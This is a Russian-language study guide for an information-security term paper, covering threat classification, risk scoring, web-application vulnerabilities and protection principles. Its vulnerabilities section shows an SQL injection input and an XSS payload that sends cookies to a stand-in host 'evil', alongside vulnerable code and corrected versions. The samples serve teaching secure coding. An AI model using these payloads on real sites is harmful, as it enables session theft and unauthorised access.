Информационная безопасность: угрозы и защита

Триада конфиденциальности, целостности и доступности, классификация угроз, модель нарушителя, типовые уязвимости веб-приложений, меры защиты и нормативная база.

Курсовая по информационной безопасности почти всегда строится по одной схеме: описать объект защиты, составить модель угроз и нарушителя, предложить меры и обосновать их достаточность. Разберём каждый шаг.

Три свойства информации

Эти три свойства конфликтуют между собой. Шифрование усиливает конфиденциальность, но при потере ключа убивает доступность. Резервные копии повышают доступность, но создают новые точки утечки. Проектирование защиты — всегда поиск баланса, и это стоит явно написать в работе.

Классификация угроз

• По природе: техногенные (отказ оборудования, сбой ПО), природные (пожар, затопление), антропогенные (действия людей).
• По источнику: внутренние (сотрудники) и внешние (злоумышленники, конкуренты).
• По умыслу: преднамеренные и случайные. Статистика инцидентов показывает, что случайные ошибки персонала дают не меньше ущерба, чем целенаправленные атаки.
• По объекту: данные, программы, оборудование, каналы связи, персонал.

Оценка риска:

  R = P · U

P — вероятность реализации угрозы, U — ущерб

Качественная шкала для курсовой:
  вероятность: низкая (1), средняя (2), высокая (3)
  ущерб:       незначительный (1), умеренный (2), критический (3)

  R = 1-2  — риск принимается
  R = 3-4  — требуются меры при разумной стоимости
  R = 6-9  — меры обязательны

Правило соразмерности: стоимость защиты не должна
превышать стоимость защищаемого актива.

Модель нарушителя

Уязвимости веб-приложений

# SQL-инъекция: склейка запроса из пользовательского ввода
login = request.form['login']
cursor.execute(f"SELECT * FROM users WHERE login = '{login}'")
# Ввод: admin' OR '1'='1  →  условие всегда истинно

# Правильно — параметризованный запрос
cursor.execute('SELECT * FROM users WHERE login = %s', (login,))


# XSS: вывод пользовательских данных без экранирования
return f'<div>Привет, {name}</div>'
# Ввод: <script>fetch('//evil/'+document.cookie)</script>

# Правильно — экранирование или шаблонизатор с автоэкранированием
from html import escape
return f'<div>Привет, {escape(name)}</div>'


# Хранение пароля
hashlib.md5(password.encode()).hexdigest()      # взламывается за секунды

# Правильно — медленная функция с солью
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
bcrypt.checkpw(attempt.encode(), hashed)

Средства защиты

• Организационные: политика безопасности, инструктажи, регламент доступа, соглашения о конфиденциальности. Самые дешёвые и часто самые действенные.
• Технические: межсетевые экраны, антивирусы, системы обнаружения вторжений, шифрование, резервное копирование, разграничение прав.
• Физические: контроль доступа в помещения, видеонаблюдение, охрана, защита от отключения питания.
• Правовые: регистрация обработки персональных данных, договоры с подрядчиками, локальные акты.

Принципы, которые стоит указать в обоснование мер:

  Минимальные привилегии — каждому ровно те права, что нужны
  Эшелонированная защита — несколько независимых рубежей
  Отказ по умолчанию — что не разрешено явно, запрещено
  Разделение обязанностей — критичное действие требует двух людей
  Полный контроль доступа — проверка при каждом обращении, а не один раз
  Простота — сложную систему невозможно проверить на безопасность

Нормативная база

Структура раздела в курсовой

1. Описание объекта защиты: какие данные, где хранятся, кто с ними работает.
2. Классификация информации по конфиденциальности и определение уровня защищённости.
3. Модель угроз: перечень актуальных угроз с обоснованием актуальности.
4. Модель нарушителя: типы, возможности, мотивы.
5. Оценка рисков в табличной форме: угроза, вероятность, ущерб, риск.
6. Меры защиты по каждому значимому риску с указанием типа меры.
7. Оценка остаточного риска после внедрения мер.
8. Оценка стоимости мер и сопоставление с величиной предотвращаемого ущерба.